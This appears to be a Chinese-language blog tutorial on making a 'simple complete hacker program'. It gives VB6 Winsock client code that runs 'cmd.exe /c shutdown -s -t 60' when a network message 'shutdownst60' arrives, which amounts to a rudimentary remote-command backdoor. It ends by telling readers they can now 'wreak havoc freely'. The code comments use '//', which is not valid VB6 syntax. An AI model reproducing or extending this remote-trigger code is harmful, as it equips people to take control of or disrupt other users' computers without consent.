在本章節會講解如何製作出一個簡易的完整黑客程序

1.簡單的Shutdown指令

這是一個Dos指令

要了解通訊後 如何對遠端電腦進行指令,用這個在好不過說明了

Shutdown -s -t 60

這是代表一個 自動關機 60秒後

-s 是參數  關機

-t 是代表秒數

2.開始了解代碼

 

Private Sub Command1_Click()
tcpClient.SendData Send.Text
End Sub
Private Sub Command2_Click()
tcpClient.Connect
End Sub
Private Sub Form_Load()
tcpClient.Protocol = sckTCPProtocol
tcpClient.RemotePort = 10
tcpClient.RemoteHost = "127.0.0.1"   //服務端的IP
End Sub

Private Sub tcpClient_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
tcpClient.GetData Data
Output.Text = Data
End Sub


 這是在VB 網路1對1聊天室中的客戶端代碼

Private Sub Command1_Click()  
tcpClient.SendData Send.Text  //傳送數據至服務端電腦
End Sub
Private Sub Command2_Click()
tcpClient.Connect   //連線
End Sub
Private Sub Form_Load()   
tcpClient.Protocol = sckTCPProtocol   //TCP協定
tcpClient.RemotePort = 10               // 連接10端口
tcpClient.RemoteHost = "127.0.0.1"   //服務端的IP
End Sub

Private Sub tcpClient_DataArrival(ByVal bytesTotal As Long)
Dim Data As String       
tcpClient.GetData Data   //接收數據

If Data = "shutdownst60" then      //如果傳入的數據資料是shutdownst60
Shell "cmd.exe /c shutdown -s -t 60"   //就執行這個指令

End If

Output.Text = Data        //將數據傳入Output
End Sub

是不是很簡單??

如果要處理多組 則不用If迴圈

使用Select...Case 來的方便多

現在你可以大肆破壞

下章見

arrow
arrow
    全站熱搜

    pua0156k 發表在 痞客邦 留言(0) 人氣()